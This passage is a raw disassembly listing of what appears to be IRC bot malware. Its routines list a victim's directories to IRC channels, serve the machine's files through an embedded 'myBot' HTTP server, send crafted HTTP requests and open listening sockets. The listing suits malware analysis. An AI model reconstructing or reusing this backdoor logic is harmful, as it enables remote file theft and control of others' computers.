push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_4]
call dword_4441A0 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+Str]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_412290
; ---------------------------------------------------------------------------
loc_412276: ; CODE XREF: sub_412135+62j
push offset aSearchingForS ; "Searching for: %s\r\n"
mov esi, 200h
lea eax, [ebp+Str]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
loc_412290: ; CODE XREF: sub_412135+5Aj
; sub_412135+13Fj
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_4]
call dword_4441A0 ; send
cmp [ebp+Source], ebx
jz short loc_412328
push [ebp+Source] ; Str
call _strlen
cmp eax, 2
pop ecx
jbe short loc_412328
push [ebp+Source] ; Str
call _strlen
sub eax, 3
pop ecx
jz short loc_4122DC
loc_4122D0: ; CODE XREF: sub_412135+1A5j
mov ecx, [ebp+Source]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_4122DC
dec eax
jnz short loc_4122D0
loc_4122DC: ; CODE XREF: sub_412135+199j
; sub_412135+1A2j
inc eax
push eax ; Count
push [ebp+Source] ; Source
lea eax, [ebp+Dst]
push eax ; Dest
call _strncpy
lea eax, [ebp+Dst]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+Str]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_4]
call dword_4441A0 ; send
loc_412328: ; CODE XREF: sub_412135+17Dj
; sub_412135+18Bj
lea eax, [ebp+var_38C]
push eax
push edi
call ds:dword_42B0B4 ; FindFirstFileA
lea ecx, [ebp+var_38C]
push ecx
push eax
mov [ebp+var_C], eax
call ds:dword_42B0B0 ; FindNextFileA
test eax, eax
jz loc_41271F
mov edi, 1FFh
loc_412354: ; CODE XREF: sub_412135+5E4j
cmp [ebp+var_38C], ebx
jz loc_412707
lea eax, [ebp+Str1]
push offset a__ ; ".."
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_412707
lea eax, [ebp+Str1]
push offset a__0 ; "."
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz loc_412707
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_378]
push eax
call ds:dword_42B0AC ; FileTimeToLocalFileTime
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_24]
push eax
call ds:dword_42B0A8 ; FileTimeToSystemTime
mov ax, [ebp+var_14]
cmp ax, 0Ch
mov ecx, offset aPm_0 ; "PM"
ja loc_412451
mov ecx, offset aAm ; "AM"
movzx eax, ax
loc_4123D0: ; CODE XREF: sub_412135+322j
push ecx
movzx ecx, [ebp+var_12]
push ecx
push eax
movzx eax, [ebp+var_1C]
push eax
movzx eax, [ebp+var_16]
push eax
movzx eax, [ebp+var_1A]
push eax
lea eax, [ebp+Dest]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax ; Dest
call _sprintf
add esp, 20h
test byte ptr [ebp+var_38C], 10h
jz loc_412588
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_41245C
lea eax, [ebp+Str1]
push eax
push offset aS_3 ; "<%s>"
lea eax, [ebp+var_494]
push 106h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_494]
push eax
push [ebp+arg_8]
lea eax, [ebp+Str]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 28h
jmp loc_4126D8
; ---------------------------------------------------------------------------
loc_412451: ; CODE XREF: sub_412135+28Dj
movzx eax, ax
sub eax, 0Ch
jmp loc_4123D0
; ---------------------------------------------------------------------------
loc_41245C: ; CODE XREF: sub_412135+2D5j
cmp [ebp+Source], ebx
jz loc_412546
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+Str]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_4]
call dword_4441A0 ; send
lea eax, [ebp+Str1]
push eax
push [ebp+Source]
lea eax, [ebp+Str]
push offset aSS_4 ; "%s%s/"
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_4]
call dword_4441A0 ; send
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 1Eh
lea eax, [ebp+Str1]
pop ecx
push eax
lea eax, [ebp+Str]
jbe short loc_412502
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_412507
; ---------------------------------------------------------------------------
loc_412502: ; CODE XREF: sub_412135+3C4j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_412507: ; CODE XREF: sub_412135+3CBj
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_4]
call dword_4441A0 ; send
push 3Ch
lea eax, [ebp+Dest]
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_4126C9
; ---------------------------------------------------------------------------
loc_412546: ; CODE XREF: sub_412135+32Aj
lea eax, [ebp+Str1]
push eax
push offset aS_3 ; "<%s>"
lea eax, [ebp+var_494]
push 106h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_494]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_412573: ; CODE XREF: sub_412135+47Bj
lea eax, [ebp+Str]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 24h
jmp loc_4126D8
; ---------------------------------------------------------------------------
loc_412588: ; CODE XREF: sub_412135+2C9j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_4125B2
push ebx
push [ebp+var_36C]
call sub_419443
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str1]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_412573
; ---------------------------------------------------------------------------
loc_4125B2: ; CODE XREF: sub_412135+459j
cmp [ebp+Source], ebx
jz loc_4126B2
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+Str]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_4]
call dword_4441A0 ; send
lea eax, [ebp+Str1]
push eax
push [ebp+Source]
lea eax, [ebp+Str]
push offset aSS ; "%s%s"
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_4]
call dword_4441A0 ; send
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
cmp eax, 1Fh
lea eax, [ebp+Str1]
pop ecx
push eax
lea eax, [ebp+Str]
jbe short loc_412658
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_41265D
; ---------------------------------------------------------------------------
loc_412658: ; CODE XREF: sub_412135+51Aj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_41265D: ; CODE XREF: sub_412135+521j
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_4]
call dword_4441A0 ; send
mov eax, [ebp+var_36C]
shr eax, 0Ah
push eax
push 3Ch
lea eax, [ebp+Dest]
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+Str]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
jmp short loc_4126D8
; ---------------------------------------------------------------------------
loc_4126B2: ; CODE XREF: sub_412135+480j
push [ebp+var_36C]
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str1]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi ; Count
loc_4126C9: ; CODE XREF: sub_412135+40Cj
lea eax, [ebp+Str]
push eax ; Dest
call __snprintf
add esp, 18h
loc_4126D8: ; CODE XREF: sub_412135+317j
; sub_412135+44Ej ...
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_4]
call dword_4441A0 ; send
cmp [ebp+arg_8], ebx
jz short loc_412707
push 7D0h
call ds:dword_42B014 ; Sleep
loc_412707: ; CODE XREF: sub_412135+225j
; sub_412135+240j ...
lea eax, [ebp+var_38C]
push eax
push [ebp+var_C]
call ds:dword_42B0B0 ; FindNextFileA
test eax, eax
jnz loc_412354
loc_41271F: ; CODE XREF: sub_412135+214j
push [ebp+var_C]
call ds:dword_42B0A4 ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_412762
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_419443
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_419443
pop ecx
pop ecx
push eax
push [ebp+arg_8]
lea eax, [ebp+Str]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax ; Dest
call _sprintf
add esp, 14h
jmp short loc_412790
; ---------------------------------------------------------------------------
loc_412762: ; CODE XREF: sub_412135+5F6j
cmp [ebp+Source], ebx
lea eax, [ebp+Str]
jz short loc_41277C
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_412790
; ---------------------------------------------------------------------------
loc_41277C: ; CODE XREF: sub_412135+636j
push [ebp+var_8]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax ; Dest
call _sprintf
add esp, 10h
loc_412790: ; CODE XREF: sub_412135+62Bj
; sub_412135+645j
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_4]
call dword_4441A0 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_412135 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4127B6 proc near ; CODE XREF: sub_4129C2+125p
Dst = byte ptr -408h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 408h
push ebx
push esi
push edi
xor esi, esi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_8], esi
call ds:dword_42B08C ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_41286E
push esi
push ebx
call ds:dword_42B0BC ; GetFileSize
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_412867
loc_4127FB: ; CODE XREF: sub_4127B6+AFj
push 400h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
cmp edi, [ebp+var_4]
jbe short loc_412818
mov edi, [ebp+var_4]
loc_412818: ; CODE XREF: sub_4127B6+5Dj
mov eax, [ebp+var_4]
push 2
push esi
neg eax
push eax
push ebx
call ds:dword_42B0B8 ; SetFilePointer
push esi
lea eax, [ebp+var_8]
push eax
push edi
lea eax, [ebp+Dst]
push eax
push ebx
call ds:dword_42B080 ; ReadFile
push esi
push edi
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_412862
call dword_4441C4 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_412867
xor eax, eax
loc_412862: ; CODE XREF: sub_4127B6+9Bj
sub [ebp+var_4], eax
jnz short loc_4127FB
loc_412867: ; CODE XREF: sub_4127B6+43j
; sub_4127B6+A8j
push ebx
call ds:dword_42B004 ; CloseHandle
loc_41286E: ; CODE XREF: sub_4127B6+30j
pop edi
pop esi
pop ebx
leave
retn
sub_4127B6 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_412873(char *Str)
sub_412873 proc near ; CODE XREF: sub_412B2A+17Bp
Str = dword ptr 4
push esi
push edi
mov edi, [esp+8+Str]
push edi ; Str
xor esi, esi
call _strlen
test eax, eax
pop ecx
jbe short loc_41289C
loc_412886: ; CODE XREF: sub_412873+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_412890
mov byte ptr [esi+edi], 2Fh
loc_412890: ; CODE XREF: sub_412873+17j
push edi ; Str
inc esi
call _strlen
cmp esi, eax
pop ecx
jb short loc_412886
loc_41289C: ; CODE XREF: sub_412873+11j
mov eax, edi
pop edi
pop esi
retn
sub_412873 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4128A1(int,char *Str,int,int,int,int,int,int,int)
sub_4128A1 proc near ; CODE XREF: sub_40274D+4FE6p
var_4A0 = byte ptr -4A0h
Dest = byte ptr -310h
Format = byte ptr -110h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
push edi
lea eax, [ebp+var_4A0]
push eax
push 101h
call dword_444110 ; WSAStartup
push 6
push 1
push 2
call dword_444100 ; socket
push 10h ; Size
mov ebx, eax
xor edi, edi
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push [ebp+arg_14]
mov [ebp+Dst], 2
call dword_444260 ; htons
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_4022BD
pop ecx
mov [ebp+var_C], eax
push 10h
lea eax, [ebp+Dst]
push eax
push ebx
call dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz short loc_41297E
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_41291A
mov eax, offset byte_42B633
loc_41291A: ; CODE XREF: sub_4128A1+72j
push esi
push [ebp+arg_10]
mov esi, 100h
push eax
push [ebp+arg_1C]
lea eax, [ebp+Format]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Format]
push edi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Format]
push eax
push ebx
call dword_4441A0 ; send
push esi ; Size
lea eax, [ebp+Format]
push edi ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
push edi
push esi
lea eax, [ebp+Format]
push eax
push ebx
call dword_444064 ; recv
pop esi
loc_41297E: ; CODE XREF: sub_4128A1+6Bj
push ebx
call dword_444218 ; closesocket
call dword_444224 ; WSACleanup
lea eax, [ebp+Format]
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_4129BE
push edi ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
loc_4129BE: ; CODE XREF: sub_4128A1+102j
pop edi
pop ebx
leave
retn
sub_4128A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_4129C2 proc near ; DATA XREF: sub_412B2A+245o
Str = byte ptr -1654h
Source = byte ptr -654h
Dest = byte ptr -550h
var_44C = dword ptr -44Ch
Format = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov eax, 1654h
lea ebp, [esp-74h]
call __alloca_probe
mov eax, [ebp+74h+arg_0]
push esi
push edi
mov esi, eax
mov ecx, 0ECh
lea edi, [ebp+74h+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+74h+Format]
push eax ; Format
lea eax, [ebp+74h+Dest]
push eax ; Dest
call _sprintf
lea eax, [ebp+74h+var_2C4]
push eax ; Format
lea eax, [ebp+74h+Source]
push eax ; Dest
call _sprintf
xor edi, edi
add esp, 10h
cmp [ebp+74h+var_A4], edi
lea eax, [ebp+74h+var_9C]
jz short loc_412A29
push offset aTextHtml ; "text/html"
jmp short loc_412A2E
; ---------------------------------------------------------------------------
loc_412A29: ; CODE XREF: sub_4129C2+5Ej
push offset aApplicationOct ; "application/octet-stream"
loc_412A2E: ; CODE XREF: sub_4129C2+65j
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push 46h
lea eax, [ebp+74h+var_68]
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
mov esi, 409h
push esi
call ds:dword_42B0C4 ; GetDateFormatA
push 1Eh
lea eax, [ebp+74h+var_20]
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call ds:dword_42B0C0 ; GetTimeFormatA
cmp [ebp+74h+var_B8], 0FFFFFFFFh
lea eax, [ebp+74h+var_20]
push eax
lea eax, [ebp+74h+var_68]
push eax
lea eax, [ebp+74h+var_20]
push eax
lea eax, [ebp+74h+var_68]
push eax
lea eax, [ebp+74h+var_20]
push eax
lea eax, [ebp+74h+var_68]
push eax
lea eax, [ebp+74h+var_9C]
jnz short loc_412A9B
push eax
lea eax, [ebp+74h+Str]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax ; Dest
call _sprintf
add esp, 24h
jmp short loc_412AB3
; ---------------------------------------------------------------------------
loc_412A9B: ; CODE XREF: sub_4129C2+C0j
push [ebp+74h+var_B8]
push eax
lea eax, [ebp+74h+Str]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax ; Dest
call _sprintf
add esp, 28h
loc_412AB3: ; CODE XREF: sub_4129C2+D7j
lea eax, [ebp+74h+Str]
push edi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+74h+Str]
push eax
push [ebp+74h+var_44C]
call dword_4441A0 ; send
cmp [ebp+74h+var_A4], edi
jnz short loc_412AF0
lea eax, [ebp+74h+Dest]
push eax
push [ebp+74h+var_44C]
call sub_4127B6
pop ecx
pop ecx
jmp short loc_412B0D
; ---------------------------------------------------------------------------
loc_412AF0: ; CODE XREF: sub_4129C2+116j
lea eax, [ebp+74h+Source]
push eax ; Source
push edi ; int
push [ebp+74h+var_44C] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
call sub_412135
add esp, 10h
loc_412B0D: ; CODE XREF: sub_4129C2+12Cj
push [ebp+74h+var_44C]
call dword_444218 ; closesocket
push [ebp+74h+var_B4]
call sub_40B149
pop ecx
push edi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_4129C2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B2A proc near ; CODE XREF: sub_412DD9+39Bp
Source = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
Str = byte ptr -314h
var_211 = byte ptr -211h
Dst = byte ptr -210h
Dest = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
mov [ebp+var_4], edi
call _memset
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
push eax
jz short loc_412B60
push offset aS_9 ; "\\%s"
jmp short loc_412B68
; ---------------------------------------------------------------------------
loc_412B60: ; CODE XREF: sub_412B2A+2Dj
mov byte ptr [eax], 5Ch
push offset aS ; "%s"
loc_412B68: ; CODE XREF: sub_412B2A+34j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
add esp, 0Ch
push eax ; Str
xor esi, esi
xor ebx, ebx
call _strlen
test eax, eax
pop ecx
jbe short loc_412C03
mov [ebp+arg_8], 2
loc_412B93: ; CODE XREF: sub_412B2A+D7j
lea eax, [ebp+Dest]
push eax ; Str
call _strlen
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_412BD3
cmp [ebp+esi+Dest], 25h
jnz short loc_412BD3
cmp [ebp+esi+var_10B], 32h
jnz short loc_412BD3
cmp [ebp+esi+var_10A], 30h
jnz short loc_412BD3
inc esi
inc esi
add [ebp+arg_8], 2
mov [ebp+ebx+Dst], 20h
jmp short loc_412BED
; ---------------------------------------------------------------------------
loc_412BD3: ; CODE XREF: sub_412B2A+79j
; sub_412B2A+83j ...
mov al, [ebp+esi+Dest]
cmp al, 2Fh
jnz short loc_412BE3
push 5Ch
pop eax
jmp short loc_412BE6
; ---------------------------------------------------------------------------
loc_412BE3: ; CODE XREF: sub_412B2A+B2j
movsx eax, al
loc_412BE6: ; CODE XREF: sub_412B2A+B7j
mov [ebp+ebx+Dst], al
loc_412BED: ; CODE XREF: sub_412B2A+A7j
lea eax, [ebp+Dest]
inc esi
inc [ebp+arg_8]
push eax ; Str
inc ebx
call _strlen
cmp esi, eax
pop ecx
jb short loc_412B93
loc_412C03: ; CODE XREF: sub_412B2A+60j
lea eax, [ebp+Dst]
push eax
push [ebp+arg_4]
lea eax, [ebp+Str]
push offset aSS ; "%s%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
push offset asc_42CDD8 ; "\n"
push eax ; Str
call _strtok
add esp, 18h
lea eax, [ebp+Str]
push eax
call ds:dword_42B050 ; GetFileAttributesA
xor esi, esi
inc esi
cmp eax, 10h
jz short loc_412C51
cmp eax, 0FFFFFFFFh
jnz short loc_412C54
push [ebp+arg_0]
jmp short loc_412CD0
; ---------------------------------------------------------------------------
loc_412C51: ; CODE XREF: sub_412B2A+11Bj
mov [ebp+var_4], esi
loc_412C54: ; CODE XREF: sub_412B2A+120j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_412C61
mov [ebp+var_4], esi
loc_412C61: ; CODE XREF: sub_412B2A+132j
cmp [ebp+var_4], edi
mov ebx, [ebp+arg_0]
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_412CDB
cmp [ebp+arg_C], edi
jz short loc_412CCF
lea eax, [ebp+Str]
push offset asc_434A30 ; "*"
push eax ; Dest
call _strcat
lea eax, [ebp+Str]
push eax ; Format
lea eax, [ebp+var_640]
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Str
call sub_412873
lea eax, [ebp+Dst]
push eax ; Format
lea eax, [ebp+var_53C]
push eax ; Dest
call _sprintf
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_412D2A
; ---------------------------------------------------------------------------
loc_412CCF: ; CODE XREF: sub_412B2A+14Ej
push ebx
loc_412CD0: ; CODE XREF: sub_412B2A+125j
call dword_444218 ; closesocket
jmp loc_412DC0
; ---------------------------------------------------------------------------
loc_412CDB: ; CODE XREF: sub_412B2A+149j
push edi
push edi
push 3
push edi
push esi
push 80000000h
lea eax, [ebp+Str]
push eax
call ds:dword_42B08C ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_412D2A
lea eax, [ebp+Str]
push eax ; Format
lea eax, [ebp+var_640]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push edi
push esi
mov [ebp+var_31C], edi
call ds:dword_42B0BC ; GetFileSize
push esi
mov [ebp+var_330], eax
call ds:dword_42B004 ; CloseHandle
loc_412D2A: ; CODE XREF: sub_412B2A+1A3j
; sub_412B2A+1CEj
mov esi, [ebp+arg_10]
push esi
lea eax, [ebp+Source]
push offset asc_4349FC ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Source]
push 3 ; int
push eax ; Source
call sub_40AE85
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_4444EC[eax], esi
lea eax, [ebp+var_8]
push eax
push edi
lea eax, [ebp+var_6C4]
push eax
push offset sub_4129C2
push edi
push edi
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_4444FC[ecx], eax
jnz short loc_412DCF
push ebx
call dword_444218 ; closesocket
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_4349C4 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push eax
call sub_417D70
add esp, 10h
loc_412DC0: ; CODE XREF: sub_412B2A+1ACj
; sub_412B2A+2ADj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_412DC7: ; CODE XREF: sub_412B2A+2ABj
push 5
call ds:dword_42B014 ; Sleep
loc_412DCF: ; CODE XREF: sub_412B2A+266j
cmp [ebp+var_318], edi
jz short loc_412DC7
jmp short loc_412DC0
sub_412B2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame fpd=74h
sub_412DD9 proc near ; DATA XREF: sub_40274D+2073o
; sub_40B690+46Co
Str = byte ptr -28F0h
Str1 = byte ptr -18F0h
Dest = byte ptr -8F0h
var_6F0 = dword ptr -6F0h
var_6EC = byte ptr -6ECh
var_464 = byte ptr -464h
var_360 = dword ptr -360h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_350 = dword ptr -350h
var_34C = dword ptr -34Ch
var_340 = byte ptr -340h
var_23C = byte ptr -23Ch
var_138 = byte ptr -138h
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
Dst = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov eax, 28F0h
lea ebp, [esp-74h]
call __alloca_probe
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
mov esi, eax
mov ecx, 0ECh
lea edi, [ebp+74h+var_6F0]
rep movsd
xor esi, esi
inc esi
push 10h ; Size
mov [eax+3ACh], esi
xor ebx, ebx
lea eax, [ebp+74h+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+74h+var_10], esi
call _memset
add esp, 0Ch
push [ebp+74h+var_360]
mov [ebp+74h+Dst], 2
call dword_444260 ; htons
push ebx
push esi
push 2
mov [ebp+74h+var_22], ax
mov [ebp+74h+var_20], ebx
call dword_444100 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+74h+var_8], edi
jz loc_4131AF
mov eax, [ebp+74h+var_358]
imul eax, 234h
mov dword_4444F4[eax], edi
push 10h
lea eax, [ebp+74h+Dst]
push eax
push edi
call dword_4441E4 ; bind
cmp eax, 0FFFFFFFFh
jz loc_4131AF
push 7FFFFFFFh
push edi
call dword_444230 ; listen
cmp eax, 0FFFFFFFFh
jz loc_4131AF
lea eax, [ebp+74h+var_10]
push eax
push 8004667Eh
push edi
call dword_444094 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_4131AF
push 41h
pop ecx
push ebx
push ebx
lea eax, [ebp+74h+var_23C]
push ebx
push eax
mov [ebp+74h+var_124], edi
mov [ebp+74h+var_128], esi
mov [ebp+74h+var_C], edi
mov eax, edi
loc_412EBF: ; CODE XREF: sub_412DD9+3CEj
inc eax
lea esi, [ebp+74h+var_128]
lea edi, [ebp+74h+var_23C]
push eax
rep movsd
call dword_4441B0 ; select
cmp eax, 0FFFFFFFFh
jz loc_4131AC
xor esi, esi
mov [ebp+74h+arg_0], esi
loc_412EE3: ; CODE XREF: sub_412DD9+3B8j
lea eax, [ebp+74h+var_23C]
push eax
push esi
call dword_44415C ; __WSAFDIsSet
test eax, eax
jz loc_413187
cmp esi, [ebp+74h+var_8]
jnz short loc_412F63
lea eax, [ebp+74h+var_14]
push eax
lea eax, [ebp+74h+var_138]
